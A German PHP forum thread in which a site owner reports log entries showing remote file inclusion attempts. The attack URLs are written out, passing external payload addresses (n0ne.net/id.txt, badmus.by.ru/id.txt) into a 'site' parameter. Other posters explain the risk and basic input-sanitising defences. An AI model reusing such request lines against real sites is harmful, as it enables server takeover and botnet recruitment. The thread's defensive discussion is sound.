| | | | |
| |||||||
| PHP-Fortgeschrittene Arbeiten mit PHP ohne Einschränkungen |
|
| | LinkBack | Themen-Optionen | Thema bewerten |
| | |
| Erfahrener Benutzer Registriert seit: 14.07.2005
Beiträge: 118
![]() | Hallo, habe gerade in meiner Logfile was gefunden was ich irgendwie merkwürdig finde. Mehrmals wurde meine Seite mit komischen Argumenten aufgerufen: http://www. ... .de/index.php?site=http://n0ne.net/id.txt? Die Variable site existiert ja wirklich auf meiner Seite. In der angegebenen Textfile befindet sich php-Code (hier). Was würde dieser Code bewirken? Sieht doch sehr kryptisch aus Wird der Inhalt solch einer Textdatei überhaupt in die Variable übernommen oder nur die Adresse? Im Prinzip kann ja so jeder beliebige Code in mein PHP-Skript eingeschleust werden, vorausgesetzt ich überprüfe nicht alle Variablen vor der Verwendung auf Plausibilität. Gibt es eine einfache Möglichkeit, sowas zu verhindern? |
| | |
| | |
| PHP Code Flüsterer Registriert seit: 21.08.2005 Beiträge: 4682 PHP-Kenntnisse: Fortgeschritten | |
| | |
| Erfahrener Benutzer Registriert seit: 14.07.2005
Beiträge: 118
![]() | Hmm...ok, eine Variable ungeprüft als include einzubinden wäre auch etwas dämlich Aber mal angenommen der Code würde im Klartext, halt in einer Zeile übergeben werden. D.h. meine Variable "site" hätte PHP-Code als Inhalt. Würde es überhaupt eine Möglichkeit geben, dass der Code ausgeführt wird? Ich mein solang ich ihn als Argument an Funktionen z.B. zur Stringbearbeitung übergebe dürfte doch nichts passieren, oder? Lediglich HTML-Code könnte bei der Ausgabe kritisch werden, oder MySQL-Operationen könnten missbraucht werden, aber wie PHP-Code ausgeführt werden sollte kann ich mir grad nicht vorstellen (ausser include oder require). Oder hab ich grad nen Blackout Aber sowas würde doch auf jeden Fall Abhilfe schaffen oder? PHP-Code: |
| | |
| | ||
| Erfahrener Benutzer Registriert seit: 21.05.2008
Beiträge: 9.937
![]() | Zitat:
PHP-Code wird nur bei include/require oder eval ausgeführt. HTML-Code überall da, wo kein strip_tags(), htmlspecialchars() oder htmlentities() auf einen vom Client stammenden Input, der in die Website eingebunden wird, ausgeführt wurde. Für MySQL-Werte verwendeter Input sollte mit mysql_real_escape_string() abgesichert werden und nicht nur mit addslashes(). Korrigiert mich, wenn ich eine Funktion oder Möglichkeit vergessen habe. Natürlich ist Schadcodeausführung auch über PHP-Bugs möglich, darauf hat der Programmierer aber keinen Einfluß. | |
| | |
| | |
| Erfahrener Benutzer Registriert seit: 14.07.2005
Beiträge: 118
![]() | Hmm, sollte meine Logdatei öfter anschauen. Sowas ähnliches gabs schonmal vor paar wochen. Damals aber von ner Russischen seite aus (oder so...) http://badmus.by.ru/id.txt? Ist wohl ein Zeichen dafür dass meine Seite in Google gut dabei ist. Ansonsten wüsste ich nicht wie diese Leute gerade auf eine kleine unbedeutende private Homepage kommen |
| | |
| | |
| Moderator und Wett-König | Hallo saibot, wie Zergling schon sagte funktioniert das oft genug und die Jungs versuchen nicht einfach nur deine Seite zu übernehmen, sondern denen geht es um die Maschine. Da sind shared hosting-Server ein recht beliebtes Ziel. Ist die Maschine einmal in deren Gewalt wird diese so modifiziert, dass diese beispielsweise zu einem Bot-Netzwerk oder einem DOS-Netzwerk zusammengefasst werden.
__________________ Viele Grüße, Dr.E. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Think about software design before you start to write code! 2. Discuss and review it together with experts! 3. Choose good tools (-> Adventure PHP Framework (APF))! 4. Write clean and reusable software only! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| | |
| | ||
| Moderator Registriert seit: 03.09.2004
Beiträge: 11.798
PHP-Kenntnisse: Fortgeschritten ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() | Zitat:
__________________ robo47.net - Blog, Codeschnipsel und mehr | | |
| | |
| | ||
| Erfahrener Benutzer Registriert seit: 14.07.2005
Beiträge: 118
![]() | Zitat:
Der Code ist mächtig lang, hab ihn nicht ganz angeschaut, aber er verschickt u.a. Mails. Darf man solche Links hier überhaupt rein stellen? | |
| | |
|
| Themen-Optionen | |
| Thema bewerten | |
|
|
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Probleme mit PHP Code | HappyDieMuschel | PHP Tipps 2008 | 7 | 28.05.2008 06:34 |
| Design und Code Trennen | TeazY | PHP Tipps 2008 | 29 | 21.05.2008 12:08 |
| Nur bestimmten Html Code zulassen? | litterauspirna | PHP Tipps 2008 | 5 | 29.04.2008 12:30 |
| einfacher Code zum Einbinden von "Inhaltsbereichen" | MaxDittmann | PHP-Fortgeschrittene | 6 | 01.10.2007 15:54 |
| bb code in htm code wandeln | janni | PHP Tipps 2007 | 2 | 04.11.2005 22:36 |
| JS Code in PHP Code?? | HTML, Usability und Barrierefreiheit | 12 | 08.08.2005 15:45 | |
| Seite 1/2/3..Code was haltet ihr davon? | Matthiasnet | PHP Tipps 2005-2 | 4 | 29.07.2005 20:29 |
| [Erledigt] Lesbarkeit von Code | Off-Topic Diskussionen | 6 | 14.07.2005 14:48 | |
| code aus db mit eval replacen | chief-thomson | PHP Tipps 2005-2 | 4 | 08.07.2005 15:33 |
| Bestätigungmail code? | PHP Tipps 2005 | 7 | 16.05.2005 13:18 | |
| [Erledigt] BB Code entfernen | PHP Tipps 2005 | 2 | 25.04.2005 15:20 | |
| code gesucht | Beitragsarchiv | 6 | 10.03.2005 03:14 | |
| [Erledigt] bb code innerhalb von bb code geht nicht | PHP Tipps 2007 | 2 | 12.01.2005 17:29 | |
| Problem mit COde | PHP Tipps 2004 | 5 | 28.08.2004 16:04 | |
| Besucher kamen über folgende Suchanfragen bei Google auf diese Seite |
| php code injection, code injection php, php include injection, code injection, spionageversuch, gegen spionageversuche, google code injection, code-injection, gegen software spionageversuche deutsch, code injection in php formular, r57 php, php codeinjection, was macht r57.php, php variable code injection, php code inject, sql injection, php code injenction, was ist code-injection php, spionage versuch auf mein, php code injection formular |

Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.